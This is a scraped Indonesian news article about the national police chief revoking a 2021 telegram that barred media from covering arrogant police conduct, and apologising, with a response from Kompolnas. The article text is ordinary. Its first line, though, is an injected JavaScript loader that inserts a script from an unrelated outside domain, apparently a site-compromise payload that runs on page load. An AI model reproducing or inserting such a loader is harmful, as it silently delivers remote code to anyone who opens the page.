(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Drama TR Kapolri Larang Media Liput Polisi Arogan Berujung Permintaan Maaf


KANALKALIMANTAN.COM – Kalangan media hingga pegiat sosial dikejutkan dengan terbitnya Telegram Kapolri yang salah satunya melarang media untuk menyiarkan atau meliput tindakan oknum polisi arogan. Di mana hanya boleh menyiarkan kegiatan Polri positif yang humanis.

Terang saja, TR ini langsung menuai banyak kritikan. Di samping karena mendadak, TR tersebut dianggap sebagai pembungkaman kebebasan media yang independen.

Namun tak lama setelah banyak menuai kritikan publik, Kapolri Jendral Pol Listyo Sigit Prabowo langsung memutuskan untuk mencabut TR tersebut. Ini menjadi TR tercepat dan tersingkat diterbitkan lalu dicabut kembali.

Dalam keterangannya sebagaimana dilansir Antara, Kapolri juga menyampaikan permintaan maaf atas terbitnya Telegram larangan media yang menimbulkan multitafsir di masyarakat yang diartikan media dilarang meliput upaya dan tindakan arogansi Polri.

 

Baca Juga: Resmi, Kompol M Irfan Jabat Wakpolres HSU Gantikan Kompol Irwan

Kapolri dalam keterangan tertulisnya, Selasa (6/4/2021) malam mengatakan, dicabutnya Telegram tentang larangan media tersebut sebagai wujud Polri tidak anti-kritik, bersedia mendengar dan menerima masukan dari masyarakat.

“Dan sekali lagi mohon maaf atas terjadinya salah penafsiran yang membuat ketidaknyamanan teman-teman media, sekali lagi kami selalu butuh koreksi dari teman-teman media dan eksternal untuk perbaikan insititusi Polri agar bisa jadi lebih baik,” kata Kapolri.

Mantan Kabareskrim Polri itu meluruskan informasi terkait Telegram Kapolri Nomor ST/750/IV/HUM.3.4.5./2021 tertanggal 5 April 2021, dan mencabutnya dengan menerbitkan Telegram Nomor ST/759/IV/HUM.3.4.5./2021 tanggal 6 April 2021.

Sigit menjelaskan, niat dan semangat awal dari dibikin-nya surat telegram tersebut yakni meminta agar jajaran kepolisian tidak bertindak arogan atau menjalankan tugasnya sesuai dengan standar operasional prosedur (SOP) yang berlaku.

Jendral bintang empat itu menginstruksikan agar seluruh personel kepolisian tetap bertindak tegas, tapi juga mengedepankan sisi humanis dalam menegakan hukum di masyarakat.

Baca Juga: Bakul Sembako Dibagikan di Aula UPT Dinas Pendidikan Banjar

“Arahan saya ingin Polri bisa tampil tegas, namun humanis,” ujar Sigit.

Tanggapan Kompolnas

Sementara itu, Komisi Kepolisian Nasional (Kompolnas) RI mengapresiasi Kapolri Jenderal Polisi Listyo Sigit Prabowo yang lekas mencabut surat telegram dengan instruksi pelarangan penyiaran kekerasan dan arogansi aparat.

Kompolnas RI memberi masukan kepada Polri untuk berdiskusi terlebih dahulu kepada pihak terkait apabila hendak membuat kebijakan.

Pelibatan pihak-pihak terkait menurutnya baik guna meminimalisir adanya kalimat yang sarat multi tafsir dalam pembuatan surat telegram. Terlebih surat telegram yang dihujani kritik dari beragam pihak itu mengandung soal pers.

“Kami apresiasi kesigapan untuk mengoreksi dan berharap dikemudian hari dapat melibatkan atau meminta masukan dari instansi terkait atau dari pengawas eksternal, misalnya Dewan Pers dan Kompolnas,” kata Komisioner Kompolnas RI Poengky Indarti saat dihubungi, Selasa (6/4/2021).

Lebih lanjut, ia menerangkan apabila surat telegram itu menyinggung kritik terhadap arogansi anggota kepolisian, maka pers jelas bebas meliput.

Pihaknya bakal mendukung kalau maksud surat telegram itu untuk melarang polisi yang arogan dan kekerasan berlebihan saat menangkap pelaku kejahatan, lalu dibuat acara khusus untuk glorifikasi kekerasan tersebut dengan anggapan gagah atau berwibawa.

“Itu yang kami setuju untuk dilarang, karena menyebarluaskan kekerasan, sehingga membuat image polisi jadi buruk,” katanya menambahkan. (suara.com)


Al Ghifari

Recent Posts

Pemondokan Kafilah HSU Dikunjungi Sekda Tapin

KANALKALIMANTAN.COM, RANTAU - Sambutan hangat ditunjukkan Kafilah Hulu Sungai Utara (HSU) saat menerima kedatangan Sekertaris… Read More

7 menit ago

KPU Banjarbaru Terima 96 Pendaftar Calon PPK

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru menerima 96 pendaftar calon anggota Panitia… Read More

1 jam ago

Sejarah 1 Mei 1952 : Dari Afdeeling Amoentai Menjadi Kabupaten Hulu Sungai Utara

KANALKALIMANTAN.COM, AMUNTAI - Tepat hari ini Rabu 1 Mei 2024, 72 tahun silam atau tepatnya… Read More

2 jam ago

PLN Gelar Halalbihalal Bersama Anak-anak Panti Asuhan

KANALKALIMANTAN.COM, PONTIANAK - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

3 jam ago

KPU Banjarbaru Mulai Siapkan Pembentukan Badan Ad-hoc Pilkada 2024

KANALKALIMANTAN.COM, BANJARBARU - Komisioner Komisi Pemilihan Umum (KPU) Kota Banjarbaru menerima beberapa catatan menjelang pembentukan… Read More

14 jam ago

Raperda Inisiatif Sistem Drainase Tawaran Solusi Banjir dan Genangan Air di Ibu Kota

KANALKALIMANTAN.COM, BANJARBARU - Persoalan banjir dan genangan air masih menjadi pekerjaan rumah (PR) yang hingga… Read More

16 jam ago

This website uses cookies.